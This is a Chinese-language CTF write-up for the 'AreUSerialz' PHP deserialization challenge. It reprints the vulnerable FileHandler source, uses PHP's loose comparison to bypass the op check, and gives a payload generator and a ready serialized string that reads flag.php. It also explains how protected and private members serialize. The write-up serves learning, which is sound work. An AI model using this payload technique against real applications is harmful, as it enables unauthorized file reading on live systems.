0x01 开局一张图
一看就知道让我们代码审计
对于这种一长串的源码,还是逐步来解把
首先的解题思路就是查看CTF题目的命名和代码函数
CTF题目这里命名为
,我反正一眼看不出什么端详,打的CTF比较少,直接看函数名字AreUSerialz
在下面可以看到有一个
函数,那这一题基本上就是考反序列化的知识了。unserialize()
我们整体的浏览一边代码,来看一下程序的大概走向。
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
这里为了看起来方便,把换行都删除了,这样显得紧凑一点。
1、如果GET获取了str参数,
函数的作用是判断一个变量是否被设置,如果被设置 值就不为nullisset()
2、GET获取到的str参数经过
也不知道是干嘛的先不管,给$str变量(string)
然后再进行一次判断,$str经过is_valid()函数的过滤,也不知道这个函数是干嘛的先不管。
3、把$str进行反序列化给到$obj变量,
这里因为执行了反序列所以会执行
函数,和__wakeup()
函数,但是这里没有__destruct()
所以只会执行__wakeup()
,我们跟进函数进行查看__destruct()
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
函数这里是进行一个op值的判断,如果==="2"就强制给op赋值为1,否则就进入
函数,继续跟进函数process()
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
这个函数也是进行一个判断:
如果op=="1"就进入write()函数,否则再次进行判断
如果op=="2"就进入read()函数,最后再输出$res的结果
如果op既不等于1也不等于2就输出Bad Hakcer!
而write()函数中就是对文件进行一个写的操作,read()函数对文件进行一个读的操作,我们是寻找flag肯定是需要进入read()函数
整体的代码过程
str -> __destruct()
op值对比 === 类型、值
op === "2" 则op=1 否则op=原来的值
->process()
op值对比 == 值
op == "1"写入文件 否则op == “2” 则读取文件 否则输出Bad Hakcer!
所以我们需要 op 不=== “2” 并且 op == “2”
这里需要用到PHP的弱类型比较
使用"2"即可满足两个条件。
这里不对弱比较做过多的解释
最后因为他是经过反序列化进行传参,所以我们需要在本地写一个序列化的脚本,把我们需要的参数序列化输出出来,然后再传递进去。
<?php
class FileHandler{ //这个类名一定要和题中的一样
public $op = ' 2'; // 源码提示我们需要绕过op === "2" 并且满足 op == "2"
public $filename = "flag.php"; // 源码文件开头调用的flag.php文件
public $content = "sss"; // 这里源码定义了这个变量,但没用到,可以随便给
}
//这里用public而不是protected是因为protected序列化之后会有%00字符,而public没有
$flag_1 = new FileHandler();
$flag_s = serialize($flag_1);
echo $flag_s;
?>
0x02 public、protected、private下序列化对象的区别
php v7.x反序列化的时候对访问类别不敏感
-
public变量
直接变量名反序列化出来
-
protected变量
\x00 + * + \x00 + 变量名
可以用S:5:"\00*\00op"来代替s:5:"?*?op"
-
private变量
\x00 + 类名 + \x00 + 变量名
这里需要的参数已经再代码中给出了
1.O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"sss";}
我们也可以把他反序列化输出看看
<?php
$s ='O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"sss";}';
var_dump(unserialize($s));
?>
最后我们复制生成出来的字符串然后接str参数就可以访问到flag.php文件了
前端没有,查看源代码
成功获取Flag!
最后,技术上有你有我,愿我们早日成为大牛!